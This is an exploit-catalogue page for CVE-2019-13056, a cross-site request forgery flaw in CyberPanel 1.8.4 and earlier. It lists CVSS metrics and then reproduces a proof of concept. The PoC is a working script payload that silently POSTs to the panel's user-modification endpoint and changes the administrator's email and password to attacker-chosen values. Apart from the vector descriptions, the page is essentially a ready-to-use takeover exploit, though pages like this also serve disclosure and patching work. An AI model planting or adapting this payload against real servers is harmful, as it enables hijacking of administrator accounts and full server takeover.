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CyberPanel 1.8.4 Cross Site Request Forgery

CVE	Category	Price	Severity
CVE-2019-13056	CWE-352	$500	Critical

Author	Risk	Exploitation Type	Date
Unknown	High	Remote	2019-07-02

CVSS	EPSS	EPSSP
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N	0.02192	0.50148

CVSS vector description

Metric	Value	Metric Description	Value Description
Attack vector	Network	AV	The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity	Low	AC	The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required	None	PR	The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
Scope	Unchanged	S	An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality	Low	C	There is some impact on confidentiality, but the attacker either does not gain control of any data, or the information obtained does not have a significant impact on the system or its operations.
Integrity	Low	I	Modification of data is possible, but the attacker does not have control over what can be modified, or the extent of what the attacker can affect is limited. The data modified does not have a direct, serious impact on the system.
Availability	None	A	There is no impact on the availability of the system; the attacker does not have the ability to disrupt access to or use of the system.

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2019070015

Below is a copy:

CyberPanel 1.8.4 Cross Site Request Forgery

# Title: CyberPanel Administrator Account Takeover <= v1.8.4
# Date: 30.06.2019
# Author: Bilgi Birikim Sistemleri
# Vendor Homepage: https://cyberpanel.net/
# Version: Up to v1.8.4.
# CVE: CVE-2019-13056
# [email protected] & bilgibirikim.com

# Description:
# Attacker can edit administrator's credentials like email, password.
# Then, access the administration panel and takeover the server.
# A CSRF vulnerability.

# How to Reproduce:
# Attacker will create a website,
# CyberPanel administrator will visit that website,
# Administrator's e-mail and password will be changed automatically.

# PoC:
<script>
fetch('https://SERVERIP:8090/users/saveModifications', {method: 'POST', credentials: 'include', headers: {'Content-Type': 'text/plain'}, body: '{"accountUsername":"admin","firstName":"CSRF","lastName":"Vulnerable","email":"[email protected]","password":"attackerspassword"}'});
</script>

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